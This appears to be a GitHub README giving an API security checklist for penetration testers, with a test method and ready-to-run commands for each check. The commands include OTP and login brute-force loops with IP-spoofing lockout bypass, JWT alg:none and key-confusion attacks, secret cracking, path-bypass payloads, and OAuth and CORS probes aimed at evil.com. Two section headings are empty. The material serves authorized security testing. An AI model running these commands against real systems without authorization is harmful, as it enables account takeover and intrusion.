API Security Checklist (with Testing Methodology + PoC Commands)

A "How to Test" note plus a ready-to-fire PoC command (curl/tool) has been added to every check, so the checklist isn't just a reference — it can be copy-pasted and used directly during an actual pentest. Replace placeholders like TARGET, TOKEN, ID with your engagement's actual values. Run destructive/DoS-type PoCs only within authorized scope and with rate-limiting/caution.

1. Enumeration & Discovery

Fuzz for hidden/undocumented APIs at multiple levels (/api/v1/, /api/v2/, /internal/, /admin-api/).
- How to test: ffuf/gobuster with API wordlists; check JS files (via LinkFinder, JSFScan) for hidden endpoint refs; check Swagger/OpenAPI/GraphQL introspection leaks.
- PoC:
```
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,401,403 -t 50
```
Enumerate restricted endpoints — try bypassing with path tricks: /admin, /admin/, /admin..;/, /admin%20, /admin%09, /ADMIN, //admin, /admin/., /admin;/.
- How to test: Burp Intruder with a path-bypass payload list; check response length/status diff instead of trusting 403 alone.
- PoC:
```
for p in "admin" "admin/" "admin..;/" "admin%20" "admin%09" "ADMIN" "//admin" "admin/." "admin;/"; do
  echo "== /$p =="; curl -s -o /dev/null -w "%{http_code} %{size_download}\n" "https://TARGET/api/v1/$p"
done
```
Add/modify parameters for privilege changes — &admin=true, &role=admin, &isAdmin=1, &debug=true.
- How to test: Param mining tools (Arjun, ParamSpider), then manually test each discovered param for auth/logic bypass.
- PoC:
```
arjun -u https://TARGET/api/v1/profile -m GET --headers "Authorization: Bearer TOKEN"
curl -s "https://TARGET/api/v1/profile?admin=true&role=admin&isAdmin=1&debug=true" -H "Authorization: Bearer TOKEN"
```
Find API version differences — old versions (/v1/) often have weaker controls than /v2/.
- How to test: Try every version prefix on every discovered endpoint; diff behavior/response.
- PoC:
```
for v in v1 v2 v3 beta internal; do
  curl -s -o /dev/null -w "$v => %{http_code}\n" "https://TARGET/api/$v/users/1"
done
```

Check for exposed API docs/specs — Swagger UI, /swagger.json, /openapi.yaml, /graphql (introspection), Postman collections leaked in JS/GitHub.

How to test: gau/waybackurls + grep for .json/.yaml spec files; GitHub dorking for leaked collections.

PoC:

for p in swagger.json swagger-ui.html openapi.yaml openapi.json api-docs v2/api-docs; do
  curl -s -o /dev/null -w "$p => %{http_code}\n" "https://TARGET/$p"
done
echo '{"query":"{__schema{types{name}}}"}' | curl -s -X POST https://TARGET/graphql -H "Content-Type: application/json" -d @-

2. Authentication

Don't use Basic Auth — use standards like JWT/OAuth2 instead.

How to test: Check Authorization header scheme; Basic Auth = instant finding (creds in base64, no expiry).

PoC:

curl -s -I https://TARGET/api/v1/users | grep -i "www-authenticate"
# If seen: WWW-Authenticate: Basic realm="..."  -> decode any captured header:
echo "dXNlcjpwYXNz" | base64 -d

Don't roll custom auth/token-generation/password-storage — use vetted libraries.
- How to test: Look at token format/entropy; predictable tokens (sequential, timestamp-based, weak randomness) = brute-forceable. Test with Burp Sequencer.
- PoC: Collect 20-30 fresh tokens, feed into Burp Sequencer's "manual load" for entropy analysis.

Max retry + account lockout on login.

How to test: Automate login attempts (Burp Intruder/ffuf), check if lockout triggers after N tries; also test if lockout is bypassable via IP rotation or X-Forwarded-For spoofing.

PoC:

for i in $(seq 1 20); do
  curl -s -o /dev/null -w "%{http_code}\n" -X POST https://TARGET/api/v1/login \
    -H "Content-Type: application/json" -d '{"username":"victim","password":"guess'"$i"'"}' \
    -H "X-Forwarded-For: 1.2.3.$i"
done

Encrypt all sensitive data in transit and at rest.
- How to test: Check TLS config (see Access section); check DB/response for plaintext secrets.

Reject reused/old session tokens after logout or password change.

How to test: Capture token, logout, replay the same token — should be invalidated (401/403).

PoC:

curl -s -X POST https://TARGET/api/v1/logout -H "Authorization: Bearer TOKEN"
curl -s -o /dev/null -w "%{http_code}\n" https://TARGET/api/v1/profile -H "Authorization: Bearer TOKEN"
# Expect 401 — if 200, token reuse vuln confirmed

(Added) No user enumeration via login/forgot-password responses.

How to test: Compare response time/message for valid vs invalid usernames — any diff = enumeration vuln.

PoC:

curl -s -o /tmp/valid.json -w "%{time_total}\n" -X POST https://TARGET/api/v1/forgot-password -d '{"email":"known_valid@x.com"}' -H "Content-Type: application/json"
curl -s -o /tmp/invalid.json -w "%{time_total}\n" -X POST https://TARGET/api/v1/forgot-password -d '{"email":"doesnotexist@x.com"}' -H "Content-Type: application/json"
diff /tmp/valid.json /tmp/invalid.json

(Added) MFA/2FA bypass checks — response manipulation, missing rate limit on OTP, OTP reusability.

How to test: Brute force OTP field (usually 4-6 digit, no rate limit = crackable); try skipping the MFA step by directly hitting the post-auth endpoint.

PoC:

for otp in $(seq -w 0000 9999); do
  code=$(curl -s -o /dev/null -w "%{http_code}" -X POST https://TARGET/api/v1/verify-otp -d "{\"otp\":\"$otp\",\"session\":\"SESSION_ID\"}" -H "Content-Type: application/json")
  [ "$code" == "200" ] && echo "FOUND: $otp" && break
done

3. JWT (JSON Web Token)

Strong random JWT secret (long, high entropy) to resist brute force.
- How to test: hashcat/john with jwt_secrets.txt wordlist against HS256 tokens.
- PoC:
```
hashcat -a 0 -m 16500 jwt.txt jwt_secrets.txt
```
Force algorithm server-side — never trust alg from token header.
- How to test: Test alg: none attack (strip signature); test RS256→HS256 confusion (sign with public key as HMAC secret) using jwt_tool.
- PoC:
```
python3 jwt_tool.py TOKEN -X a   # alg:none attack
python3 jwt_tool.py TOKEN -X k -pk public_key.pem   # RS256->HS256 confusion
```
Short TTL / RTTL on access & refresh tokens.
- How to test: Decode token, check exp claim; test if expired token is still accepted by the API (server-side validation, not just client-side).
- PoC:
```
python3 -c "import jwt; print(jwt.decode('TOKEN', options={'verify_signature': False}))"
```
No sensitive data in payload — it's Base64, not encrypted.
- How to test: Decode JWT at jwt.io / jwt_tool -T; look for PII, internal IDs, roles, secrets.
- PoC:
```
python3 jwt_tool.py TOKEN -T
```
Keep payload small — headers have size limits.
(Added) Kid (Key ID) header injection / path traversal.
- How to test: Modify kid header to point to a known file (../../dev/null) or SQLi in kid param — jwt_tool has automated checks (-X k).
- PoC:
```
python3 jwt_tool.py TOKEN -X k
```
(Added) JWK header injection — attacker embeds their own public key in jwk header.
- How to test: jwt_tool -X i to auto-test JWK/JKU injection.
- PoC:
```
python3 jwt_tool.py TOKEN -X i
```

(Added) Signature not verified at all.

How to test: Change payload, keep old signature — if accepted, signature isn't verified server-side.

PoC:

# Decode header.payload, modify a claim (e.g. role), re-base64, keep original signature segment, replay:
curl -s https://TARGET/api/v1/profile -H "Authorization: Bearer <header>.<tampered_payload>.<original_sig>"

Further reading: https://www.invicti.com/blog/web-security/json-web-token-jwt-attacks-vulnerabilities/

4. Access (Transport & Network)

Rate limiting / throttling to prevent brute-force & DDoS.
- How to test: Fire 100+ rapid requests (Burp Turbo Intruder/wrk); check if 429 kicks in; also test rate-limit bypass via header spoofing (X-Forwarded-For, X-Real-IP rotation).
- PoC:
```
wrk -t4 -c50 -d10s -H "Authorization: Bearer TOKEN" https://TARGET/api/v1/login
for i in $(seq 1 50); do curl -s -o /dev/null -w "%{http_code}\n" https://TARGET/api/v1/login -H "X-Forwarded-For: 10.0.0.$i"; done
```
HTTPS with TLS 1.2+, secure ciphers only.
- How to test: testssl.sh / sslyze / nmap --script ssl-enum-ciphers.
- PoC:
```
testssl.sh --fast TARGET:443
nmap --script ssl-enum-ciphers -p 443 TARGET
```
HSTS header to prevent SSL stripping.
- How to test: Check Strict-Transport-Security header presence + max-age value.
- PoC:
```
curl -s -I https://TARGET | grep -i strict-transport-security
```
Directory listing disabled.
- How to test: Browse to known dirs (/uploads/, /backup/) and check for index listing.
- PoC:
```
curl -s https://TARGET/uploads/ | grep -i "Index of"
```
IP allowlisting for private/internal APIs.
- How to test: Try accessing internal-looking endpoints from external IP; check for SSRF pivot to reach internal-only APIs.

5. Authorization — OAuth

Validate redirect_uri server-side against an allowlist (exact match, not just substring/regex).

How to test: Try open-redirect style bypasses — subdomain, @ trick (evil.com@legit.com), path traversal, extra params.

PoC:

curl -s "https://TARGET/oauth/authorize?client_id=APP&redirect_uri=https://evil.com&response_type=code&state=x"
curl -s "https://TARGET/oauth/authorize?client_id=APP&redirect_uri=https://legit.com@evil.com&response_type=code&state=x"

Use code flow, not token flow (response_type=token should be disabled).
- How to test: Check response_type param support; implicit flow = token exposed in URL/history.
- PoC:
```
curl -s "https://TARGET/oauth/authorize?client_id=APP&redirect_uri=https://legit.com/cb&response_type=token"
```
state parameter with random hash to prevent CSRF in OAuth flow.
- How to test: Remove/replay state param and see if flow still completes = CSRF-able.
- PoC:
```
curl -s "https://TARGET/oauth/authorize?client_id=APP&redirect_uri=https://legit.com/cb&response_type=code"   # no state param
```
Default scope defined + validate scope param per app.
- How to test: Request elevated scopes not originally granted to the client app; see if server honors them (scope escalation).
- PoC:
```
curl -s "https://TARGET/oauth/authorize?client_id=APP&scope=read+write+admin&response_type=code&redirect_uri=https://legit.com/cb"
```

(Added) PKCE for public/mobile clients.

How to test: Intercept auth code exchange — if no code_verifier/code_challenge, mobile app token theft is trivial.

PoC:

curl -s -X POST https://TARGET/oauth/token -d "grant_type=authorization_code&code=STOLEN_CODE&client_id=APP&redirect_uri=https://legit.com/cb"
# If no code_verifier required and token issued -> PKCE missing

6. Authorization — BOLA / BFLA (OWASP API1 & API5)

(Added) Broken Object Level Authorization (BOLA/IDOR) — user A can access user B's resource by changing an ID.
- How to test: Login as two users, swap IDs (numeric, UUID, GUID) across every endpoint (GET/PUT/DELETE /orders/{id}); use Burp's "Autorize" extension to automate.
- PoC:
```
curl -s https://TARGET/api/v1/orders/1234 -H "Authorization: Bearer USER_A_TOKEN"
curl -s https://TARGET/api/v1/orders/1234 -H "Authorization: Bearer USER_B_TOKEN"   # should be 403, not 200
```
(Added) Broken Function Level Authorization (BFLA) — normal user can call admin-only endpoints/methods.
- How to test: As low-priv user, replay admin-captured requests; try method switching (GET→POST/DELETE) on same endpoint.
- PoC:
```
curl -s -X DELETE https://TARGET/api/v1/admin/users/5 -H "Authorization: Bearer LOWPRIV_TOKEN"
```
IDOR in body/header is riskier than in URL since it's less likely to be logged/tested — e.g. {"id":{"id":111}}.
- How to test: Manually inspect JSON body for nested/duplicate ID fields; fuzz each with other users' IDs.
- PoC:
```
curl -s -X POST https://TARGET/api/v1/orders/view -H "Authorization: Bearer USER_B_TOKEN" -H "Content-Type: application/json" -d '{"id":{"id":1234}}'
```

7. Input Validation

8. Processing

9. Output

X-Content-Type-Options: nosniff
X-Frame-Options: deny
Content-Security-Policy: default-src 'none' (tune per API needs)
Remove fingerprinting headers — X-Powered-By, Server, X-AspNet-Version.
- How to test: curl -I every endpoint; note tech/version leaks that aid targeted exploit selection.
- PoC: curl -s -I https://TARGET/api/v1/users | grep -iE "powered-by|^server:|aspnet"
Force correct Content-Type matching actual response body.
No sensitive data in responses — creds, passwords, tokens, internal stack traces, PII beyond need.
- How to test: Diff full JSON response vs what's rendered in UI — APIs often over-return fields ("excessive data exposure", OWASP API3) not shown on frontend but visible in raw response.
- PoC:
```
curl -s https://TARGET/api/v1/profile -H "Authorization: Bearer TOKEN" | python3 -m json.tool
# then manually diff against what the UI actually displays
```
Correct HTTP status codes for each operation.
DoS-safe limit/pagination params — reject absurd values like ?limit=9999999999.
- How to test: Send huge limit/page_size values, check for timeout/OOM/slow response (resource exhaustion).
- PoC:
```
curl -s -o /dev/null -w "time: %{time_total}\n" "https://TARGET/api/v1/news?limit=9999999999" -H "Authorization: Bearer TOKEN"
```
(Added) CORS misconfiguration — reflecting arbitrary Origin with Access-Control-Allow-Credentials: true.
- How to test: Send Origin: https://evil.com and check if it's reflected back with credentials allowed = account takeover via cross-origin read.
- PoC:
```
curl -s -I https://TARGET/api/v1/profile -H "Origin: https://evil.com" -H "Authorization: Bearer TOKEN" | grep -i "access-control"
```

10. Monitoring

Centralized logging across all services/components.
Traffic/error/request monitoring agents.
Alerting — SMS, Slack, Email, Telegram, Kibana, CloudWatch, etc.
No sensitive data in logs — credit cards, passwords, PINs, tokens.
- How to test: If you get any log/error-dump access during testing, grep for password, token, card, secret.
- PoC: grep -iE "password|token|card|secret" leaked_logs.txt
IDS/IPS for API traffic and instances.
(Added) Alerting doesn't itself leak data — e.g. Slack webhook messages containing full request bodies with PII.

Wordlists & Recon Resources

Tooling Quick-Reference

Purpose	Tools
Endpoint discovery/fuzzing	`ffuf`, `gobuster`, `Arjun`, `ParamSpider`, `kiterunner`
JWT attacks	`jwt_tool`, jwt.io, `hashcat`
Auth/BOLA/BFLA automation	Burp Autorize, Burp Turbo Intruder
TLS testing	`testssl.sh`, `sslyze`, `nmap --script ssl-enum-ciphers`
SQLi	`sqlmap`
SSRF OOB	Burp Collaborator, `interactsh`
GraphQL	`graphql-cop`, `InQL`, `graphw00f`
Race conditions	Burp Turbo Intruder, `race-the-web`
Recon	`httpx`, `katana`, `gau`, `waybackurls`, `subfinder`

Name		Name	Last commit message	Last commit date
README.md		README.md

Navigation Menu

Repository files navigation

API Security Checklist (with Testing Methodology + PoC Commands)

1. Enumeration & Discovery

2. Authentication

3. JWT (JSON Web Token)

4. Access (Transport & Network)

5. Authorization — OAuth

6. Authorization — BOLA / BFLA (OWASP API1 & API5)

7. Input Validation

8. Processing

9. Output

10. Monitoring

Wordlists & Recon Resources

Tooling Quick-Reference

See Also

About

Releases

Packages

Contributors

Latest commit

History

Folders and files

Repository files navigation

API Security Checklist (with Testing Methodology + PoC Commands)

1. Enumeration & Discovery

2. Authentication

3. JWT (JSON Web Token)

4. Access (Transport & Network)

5. Authorization — OAuth

6. Authorization — BOLA / BFLA (OWASP API1 & API5)

7. Input Validation

8. Processing

9. Output

10. Monitoring

Wordlists & Recon Resources

Tooling Quick-Reference

See Also

About

Resources

Stars

Watchers

Forks

Releases

Packages

Contributors